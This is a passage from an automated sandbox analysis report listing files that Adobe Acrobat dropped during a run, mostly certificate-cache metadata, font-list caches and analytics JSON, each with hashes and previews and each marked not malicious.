SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklgwjp/ltfllXlE/HT8k5D/jNNX8RolJuRdxLlGB9lQRYwpDdt:kK5wPeT8wD/RNMa8RdWBwRd
MD5:	20D0AFAE665DE0C2B1F7994618678AA4
SHA1:	3EFEDCAE1457D780C6ABACD4956552B604C351A6
SHA-256:	7A952F00DDDFA0987848DE5EF76848F98A73475C144CD7AAC42BD31800549275
SHA-512:	5D22AAD885EF74A5F9CFA1951F449E1EF639E8DF3E55A36A6F3B2EE5E43AF2EF20031389F4703E0CDEA7ED0EDA25075E7A91E42BA1408A2DC040442A28A0D067
Malicious:	false
Preview:	p...... ........SX.t.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKutL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:mtiDImsLNkPlE99SNxAhUe/3
MD5:	4496DA9716AFB8BEEA10058292C8E1E8
SHA1:	CE1A18744924992F1484968F2557C5C50F82B36D
SHA-256:	01BABB57C7E4B820A697B7AB69D7057C38750D91E6C4A79847EBEB3435461226
SHA-512:	4BE3CB8BBFDC8D7A83683CCD7CA4FF220768B521DB3F4E8A44782520DBE9A26B4F21F1283B1DA52C79BBCAEC3D01453DAC6AD5A1F5ECE4E967323F3DAF5F1BB0
Malicious:	false
Preview:	p...... .........$J..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6780

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6780

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35033160949457
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJM3g98kUwPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGMbLUkee9
MD5:	B75AE49B497B770BFB7462D4E80BF929
SHA1:	13AF41A66E55B84EF258446F458889FE86014DE5
SHA-256:	10403F97C890186B6EE71D38870604E51A95EA897008A05EC535DAA7E7108131
SHA-512:	5FFD46FF440AF679704F016948C60BD8754C3A792C56A6AF89AB5ADA9D89B345EF19BC96C4B9E44859ABC51B1CE687FD5ADCAD825AA2487661A5CEB6B2E3E070
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285001736640694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfBoTfXpnrPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGWTfXcUkee9
MD5:	C87CC70D3A3D0067D188F1259DC15DE4
SHA1:	E6018B4ECB55EEE9E4D3CD9209F7899DB313D7DD
SHA-256:	DECAF4D114BC6C8AEF78B43956192FDA12E1A08E39E27DC80FD96B5C7598213B
SHA-512:	1F1408DA4AE692EB5B872AD1481C9AA5A5AA8BD39D0EF1D1B83EA904A44DD46BE97A7E457A7E81C367B080A3E4E3F3BD5FCEECDFB37D351AF2CF4C40AEA54260
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263996772035769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfBD2G6UpnrPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGR22cUkee9
MD5:	9F8AE9C788CA0B63E1E819BEC1B5CD48
SHA1:	856E9EBC93040DB13C4951DB2959F9EB207F42EB
SHA-256:	3F2602A7F9E2A3FCDF6EEB99657AE2AE1BC01E3BFDB58BEF7BDB646C864E0870
SHA-512:	E5CF6D47296461285F3FE1C14522EB8C9654A53E07B72C8C7892A5EE26CC9AEFEE42BE3B7DB96BFE51D95AFDE6C4698EE7616959DA0BF0E6409ED591DDE4FB89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326822900712756
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfPmwrPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGH56Ukee9
MD5:	B4971984051048841DBB7763FFBA32BD
SHA1:	4FD1D36576F8B9FA715CEFF9CE4CD06374169BA5
SHA-256:	326B30D0DE2A7E0799E3A94A159B933096DC38899CDBEB9D10CFBCA39A172D6E
SHA-512:	75F718D3E5285E1C5B61086DA027D97C77A5590D00DB0D231C46379533DF5190E17D38DC6893098DA3C2AFFB2DA9E5A372996A75B1C15721FD0393335239A24D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687666483052879
Encrypted:	false
SSDEEP:	24:Yv6XiuclS+Jh9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvUQJh9hgy6SAFv5Ah8cv/I
MD5:	89C772F825CAE10728127D81327BD183
SHA1:	CC38EE091CF2B1379C6324C0060C67DB4F1E5411
SHA-256:	16D5B19C839C75F2B0E323D54616135805889C368B4CF2A467965F5D704F9194
SHA-512:	F56CD8CFDAA36B85C989DC2C3C7F93FA731E31FA61B5C51912173D219E50ADB32F2672294BD7BD1FB3AEA80301655CD5808BC97DB5786BAE5189923B1231D893
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2766273689414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJf8dPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGU8Ukee9
MD5:	790ADE9DA98C0F88BA20479AC58156D0
SHA1:	B657B02B31532B6E0D316080BD6E6EC2B88367CD
SHA-256:	E72C3DB17D52F390532E6B4AA91688EFB0FA93DECF1A9EB4E19E69BA4F476E93
SHA-512:	D9334E03A0335398956A3753AB93FD3B25D82C9D91B7E980D22196C7F4FEC026333CE152619418FFEE0DB28078589BDAEE363939B022071E0672549B1099A3FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.275821093082687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfQ1rPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGY16Ukee9
MD5:	B79D6AD6624BD133723145C51B886B20
SHA1:	FBADFFEC4B71E74EFEB0CCF568A7672AD78BB550
SHA-256:	29A58F765A19DAEC5C32D58779606768FB24B5AB8ABA58A27F8A0464B393801B
SHA-512:	6E4AE9027506CEF686A47063C3E7BE40E815E06BCF7C4DBA70DF117320AB836A2E5CC8943AF5040398659E424B9B13E4727AEAAAA1A8ED4DE72E67294CD3F51C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292861419765443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfFldPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGz8Ukee9
MD5:	7D4E5654E0DD5B11BBDDA7AE96E9CCC4
SHA1:	8E57F9759F447777A8732697E699F34BDFCF5EF7
SHA-256:	7EAC74E276AD749D19C04E71512DAAA21E0D5D22952FEDE38B6274658959FF0E
SHA-512:	B531135A2113427EBBB60FC4D7F90B2AABEDCB59E2D22A17C09CEC2257EF6EE0D50F57A6187B349809BE24942F04258C166D1C3233222126C24CA03F4CB9666F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304103182726288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfzdPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGb8Ukee9
MD5:	138F38FE7CB491550A8108EF4AA17465
SHA1:	2D9E36C3202781DDE3FA239A79F081B27A988836
SHA-256:	C47AFCD0F4AB13D776B7B7A713E32E7DC369968A932116A873016167E6C4956E
SHA-512:	DA46B63390C6D9BC4AC9A23B901E49D1B65E1240A273B6DAA5D29AF5FCF5912FA68FD8A87B79B0F5E4FA6DA280F24348132A5A4F65175186443C9B7E065A7F9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284970436878728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfYdPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGg8Ukee9
MD5:	6DE3C7ADF822F5B80D2D680CDC2949F8
SHA1:	541FFFC308B8CFBE6333A6C4DB81C0F4F99741A0
SHA-256:	03D87C4DA352CECAEB5D5E0B7D3BA6C500A6621F97AFB0E5220D261C88596D8F
SHA-512:	4E813F9726BE4F49B2D84C4E80F7A46FC9CDEC8EAC2451DD749D89E1C5D125FBD97CC5127FB73089A1E0CCB27EFF485D3D7673CCCD8FBF0E134832D2E63FFA52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271055195644714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJf+dPeUkwRe9:YvXKXiuroljW+vR/ZwHAcG28Ukee9
MD5:	8A799516E5CF578F8B2F87E193AC91E3
SHA1:	709E7E8D77C99A1A7679FAA6C721EB9047102E6E
SHA-256:	6D553E3448F8241FEDD39E46B89C952E482BF3461276E7DC1740051CE57EC34A
SHA-512:	657246372D90B1326301330C7C7B908A50CC05B62468E214483566175C58E30858BBC9B0F4CA1EC1180437F168A0DF98D771B24D05200E9D4974EDBF4C9386B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

